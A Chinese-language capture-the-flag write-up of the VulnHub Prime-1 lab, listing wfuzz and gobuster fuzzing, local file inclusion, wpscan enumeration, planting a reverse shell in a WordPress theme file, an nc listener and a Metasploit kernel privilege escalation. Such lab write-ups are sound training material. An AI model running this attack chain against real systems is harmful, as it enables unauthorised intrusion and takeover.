vulnhub prime-1
端口扫描开的端口:80、22
扫描服务、操作系统、用默认脚本进行漏扫
扫描80端口目录主要看.php、.txt、.html、.zip
sudo gobuster dir -u http://192.168.57.136 -x .php,.txt,.zip,.html
找到了:image.php、index.php、secret.txt以及一些wordpress的东西
看secret.txt,让我们爆破知道的php页面的参数
gobuster fuzz -w /usr/share/wfuzz/wordlist/general/common.txt -u http://192.168.57.136?FUZZ=aaa
但是这样输出不太友好也不好观察对比
使用wfuzz:wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.57.136/index.php?FUZZ=something
这些参数去浏览器输入发现都是没用的,看到lines、words、chars很多都为7L、12w、136ch
--hl 7、--hw 12、--hh 136参数一个一个加看有没有结果
发现:wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 -hh 136http://192.168.57.136/index.php?FUZZ=something、wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 -hw 12http://192.168.57.136/index.php?FUZZ=something
这两条命令都返回的是file这个参数
去尝试一下
发现这个参数是可以的,但是说是在挖错误的文件
所以去fuzz image.php的参数
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.57.136/image.php?FUZZ=something
发现上面的思路出不了image.php的参数
去index.php?file=/etc/passwd试一试文件包含,发现没用
这里继续不下去了,往前翻之前得到的信息。
secret.txt里面说Location.txt会给下一步的提示,file后面输入location.txt(英文不好,不然就直接想到这里了,不会去fuzz image.php)
说去其他php页面使用上图参数,那就去image.php试一下secrettier360
发现文件包含点
看了一下
找到一个有文件上传漏洞的点,但是又没思路了
仔细看了一下发现/etc/passwd里面的:find password.txt file in my directory:/home/saket提示
试一下:
结合password.txt文件名这应该是密码,那么用户名是什么呢,看到上面的路径/home/saket,用户应该是saket
因为home目录里面的就是以用户名命名的目录(这是linux常识)
22端口是开的ssh登录一下
结果登不进去(思路错误)
ssh这条路不通,但是这里又有一个密码,那么这是什么密码呢?
想到前面路径扫描扫到一个wordpress,可能是后台密码
后台地址:http://192.168.57.136/wordpress/wp-login.php
尝试saket follow_the_ippsec不行
现在就差用户名了,那就wpscan枚举一下:
wpscan --url http://192.168.57.136/wordpress --enumerate u
victor follow_the_ippsec登录
成功进后台
去主题编辑看有没有可以加php代码的地方,用来反弹shell
找到一个secret.php下面有一个update file,添加反弹shell代码,并点击下方update file
监听2345端口:nc -lvnp 2345
接下来只要找到secret.php的路径,访问就可以了
wpscan扫一下:wpscan --url http://192.168.57.136/wordpress
找到对应主题的路径
访问http://192.168.57.136/wordpress/wp-content/themes/twentynineteen/secret.php
反弹成功
获取一个舒服点的shell:python -c 'import pty;pty.spawn("/bin/bash")'
先收集系统内核这些信息
然后看sudo -l
去https://gtfobins.github.io/找有没有关于这个的sudo提权,发现没有
找suid:find / -perm -u=s -type f 2>/dev/null
还是去GTFOBins找上面结果有没有可以利用的suid权限的命令
看capabilities的一些信息:getcap -r / 2>/dev/null
看定时任务:cat /etc/crontab
似乎这些信息来看都没什么利用的
刚才的sudo -l看到有个/home/saket/enc 可以root权限运行
cd /home/saket
进去发现
密码文本是victor的密码:follow_the_ippsec
切换用户:su victor,输入密码
显示失败
难道不少victor的密码,解密一下user.txt,发现解不了
继续看文件系统
cd ~;ls发现一个opt不少默认有的命令
跟着目录一直向下:发现一个备份文件:cat backup_pass
看到一个enc的密码
有密码也不行,显示没权限cp两个文件:
想到/home/saket/enc是有sudo权限的
那就sudo ./enc,成功备份,目录下多了两个文件
救命,英文提示是真要命,ippsec的md5值是什么的密钥
看到exc.txt
先base64,发现解不了,那么也许ippsec的md5就是用来解密这个的,但是是什么加密方式呢
思路又断了,继续往前看收集到的信息
发现之前查看系统相关信息时的,那尝试一下内核提权。
msf:use exploit/multi/handler
set lhost=192.168.57.136、lport=2345
run,然后访问secret.php(不改secret.php是可以弹到shell的)
search ubuntu 4.10.0-28-generic,只找到一个,还不用挑了
提权成功
标签:prime,php,--,192.168,57.136,vulnhub,txt,wfuzz From: https://www.cnblogs.com/q1stop/p/17903143.html